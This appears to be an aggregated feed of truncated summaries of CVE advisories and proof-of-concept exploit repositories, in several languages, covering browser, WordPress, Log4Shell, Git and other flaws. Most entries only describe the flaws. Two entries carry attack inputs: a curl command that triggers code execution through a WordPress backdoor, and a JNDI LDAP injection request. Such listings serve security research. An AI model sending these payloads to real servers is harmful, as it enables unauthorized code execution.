CVE-2026-91728

A flaw was found in V8, the JavaScript engine used in Google Chrome. An integer overflow vulnerability allows a remote attacker to execute arbitrary code within the browser's security sandbox. This can be exploited by enticing a user to visit a specially crafted HTML page...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE Esta es una versión modificada del PoC de SSRF CVE-2024-41570 de @chebuya encadenado con el exploit de RCE autenticado de @hyperreality. Este exploit ejecuta código de forma remota contra un objetivo debido a múltiples vulnerabilidades en Havoc C2 Framework...

CVE-2025-24893_Analysis

CVE-2025-24893 - SSTI en SolrSearch de XWiki que permite ejecución remota de código sin autenticación Un laboratorio Docker autónomo que reproduce CVE-2025-24893, una inyección de plantillas del lado del servidor en el feed RSS de SolrSearch de XWiki que conduce a la ejecución remota de código no...

CVE-2016-10033-PoC

CVE-2016-10033-PoC 为 PentesterLab 编写 如果你是 PentesterLab 的用户，请不要作弊，自己学习会好得多。 希望对某人有用，即使只是对未来的我 : 带有交互式 Shell，还有不错的 argparse 功能 用法 root@kitploit: usage: poc.py -h --target TARGET --backdoor BACKDOOR --proxy --raw --no-color options: -h, --help 显示此帮助信息并退出 --target TARGET 目标 URL --backdoor BACKDOOR 后门...

fastjson-tp1fn1

json.org CVE-2022-25845 verdaderos y falsos positivos ¿¿qué demonios?? El proyecto contiene una dependencia fastjson con CVE-2022-25845. La vulnerabilidad ocurre cuando el marcado en JSON se interpreta como Java beans, es decir, las clases se instancian y las propiedades se establecen mediante la...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar backdoor curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2017-8570

¿Qué? Este repositorio contiene un exploit de Prueba de Concepto para CVE-2017-8570, también conocido como la vulnerabilidad "Composite Moniker". Esto demuestra el uso del truco de Packager.dll para dejar un archivo sct en el directorio %TEMP% y luego ejecutarlo mediante la primitiva que...

CVE-2026-91736

A flaw was found in Chromium. This use-after-free vulnerability in the Document Object Model DOM allows a remote attacker to execute arbitrary code within the sandbox. By enticing a user to visit a specially crafted HTML page, the attacker can exploit this flaw, leading to unauthorized code...

CVE-2026-91709

A flaw was found in the ServiceWorker component of Chromium. A remote attacker could exploit a type confusion vulnerability by enticing a user to visit a crafted HTML page. This could lead to arbitrary code execution within the sandbox environment...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Use After Free Vulnerabilidad Hacer referencia a memoria después de haber sido liberada puede provocar que un programa se bloquee, use valores inesperados o ejecute código. Descripción de la vulnerabilidad Existe una vulnerabilidad de ejecución remota de código ...

log4j2-issue-check

评估 Log4Shell：RCE 0-day 问题 该仓库包含评估 Log4j2 问题 CVE-2021-44228 的代码 更多详情 https://www.lunasec.io/docs/blog/log4j-zero-day/ 如何测试 发送带有查询参数 $jndi:ldap://127.0.0.1:3089/ 的 GET 请求。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 当发送上述请求时，应用程序会尝试连接到 LDAP...

CVE-2024-32002

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...

DEBIAN-CVE-2026-92248

A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD Photoshop Document image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a...

CVE-2026-92248

A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD Photoshop Document image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a...

CVE-2021-42362

CVE-2021-42362 El plugin de WordPress Popular Posts es vulnerable a la subida arbitraria de archivos debido a una validación insuficiente del tipo de archivo de entrada encontrada en el archivo /src/Image.php, lo que hace posible que atacantes con acceso de nivel colaborador o superior suban...

CVE-2026-76861

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntoolstcpdumpstartset.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - Arbitrary File Upload Leading to Remote Code Execution RCE Product BiggiDroid – Simple PHP Blog CMS Product page: https://biggidroid.com/product/simple-php-blog/ Vulnerability Type Arbitrary File Upload Unrestricted File Upload Remote Code Execution RCE Severity Critical CVSS...

CVE-2023-46980

CVE-2023-46980 Un problema en Best Courier Management System v.1.000 permite a un atacante remoto ejecutar código arbitrario y escalar privilegios mediante un script manipulado en el parámetro userID. Información adicional Enlace del PoC en video en YT ; https://youtu.be/3Mz2lSElg7Y Tipo de...

CVE-2024-44346

Divulgación de CVE: CVE-2024-44346 Fecha: 13-09-2024 Resumen Se identificó una vulnerabilidad en Tosibox tbsetup.exe versión 4.0.0.0, que podría permitir la escalada de privilegios local. A este problema se le ha asignado el identificador CVE-2024-44346. El proveedor ha publicado un aviso con más...

CVE-2026-92248 Gimp: integer overflow when generating a thumbnail preview for a psd file

A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD Photoshop Document image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a...